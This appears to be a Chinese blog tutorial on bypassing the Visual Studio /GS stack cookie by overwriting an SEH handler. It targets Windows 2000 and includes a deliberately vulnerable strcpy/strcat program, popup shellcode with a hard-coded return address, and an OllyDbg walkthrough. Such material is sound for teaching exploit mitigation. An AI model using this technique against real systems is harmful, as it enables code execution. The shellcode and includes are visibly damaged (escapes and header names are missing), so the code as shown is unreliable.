作者:黑蛋
1:简述
针对缓冲区溢出覆盖函数返回地址这一特征,微软在编译程序时使用了一个安全编译选项--GS, Visual Studio 2003 (VS 7.0)及以后版本的 Visual Studio 中默认启用了这个编译选项。在所有函数调用时,会向栈中压入一个DWORD,他是data段第一个DWORD与EBP亦或之后形成的值,处于EBP 4的位置,在所有函数执行完返回时,会有一个检查函数,检测EBP 4的值是否正确,正确则正常返回,反之进入异常处理流程,函数不会正常返回,这个操作叫 Security check,如果有缓冲区溢出函数返回值,势必会淹没Security Cookie,在函数返回之前由Security check检查,发现EBP 4的值与原来的不一样,进入异常处理流程,也会导致我们利用栈溢出失败。本篇通过SEH处理函数在GS检查函数之前的特征,通过制造异常,然后淹没SEH处理函数,使SEH异常函数指向我们的shellcode。详细了解GS以及此技术可以参考《0day安全》这本书。
2:实验环境
环境 | 配置 |
---|---|
调试器 | OD |
编译器 | Visual Studio 2005 |
操作系统 | Windows 2000 SP4 |
项目配置 | 属性->配置属性->C/C ->优化(禁用) |
bulid版本 | realse |
3:代码
#include #include char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x6Fx70x20x20x68x76x75x6Cx74x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90" "xA0xFEx12x00" ; char shellcode2[]="x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x00"; void test(char * input) { char buf[200]; strcpy(buf,input); strcat(buf,input); } void main() { test(shellcode); }
本段代码在主函数中调用test函数,传入字符串,在test中定义一个200字节buf,然后拷贝传入字符串到buf中,在test函数栈中,传入字符串地址应在EBP 8的位置,如果我们传入字符串过长,他可以淹没EBP 8的位置,之后再调用strcat拷贝函数的时候,找传入字符串地址EBP 8的位置的时候会发生异常,进入SEH处理函数。
4:分析函数流程
首先传入正常大小字符串shellcode2,分析函数栈内情况:
image-20220718231035081 生成exe拖入OD:
image-20220718231110418 F8走过第一个call,再执行第二个JMP:
image-20220718231226742 找主函数入口(根据经验,是退出函数上面三个push之后的call):
光标放在箭头处,F4运行到此处,F7进入call:
此处就是我们主函数,call是test函数,传入的参数是shellcode2的地址,进入test函数,并运行到strcpy函数之后:
观察堆栈情况:
我们发现buf位置在0012FEA0,最近的SEH处理函数在EBP 44的位置,即0012FFB4,我们需要通过延迟传入字符串淹没这个地址,让他指向buf的起始位置0012FEA0,我们需要增加字符串0x54字节,并在最后四字节放入0012FEA0。接下来传入构造好的字符串,并生成exe,再根据之前步骤走到strcpy函数之后:
char shellcode[]= "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53x68x6Fx70x20x20x68x76x75x6Cx74x8BxC4x53x50x50" "x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90x90x90" "xA0xFEx12x00" ;
前面一段是我们的弹窗shellcode,之后用90填充其余部位,在最后四字节放入buf的首地址,现在观察堆栈情况:
我们发现EBP位置已经被淹没,而SEH处理函数地址已经指向buf的位置,放行程序继续运行,到strcat函数的时候程序会发生异常,调用最近的SEH异常处理函数,这里被我们修改为buf的起始位置,程序运行我们的shellcode,成功弹窗:
成功通过攻击异常处理突破GS,达到我们的目的。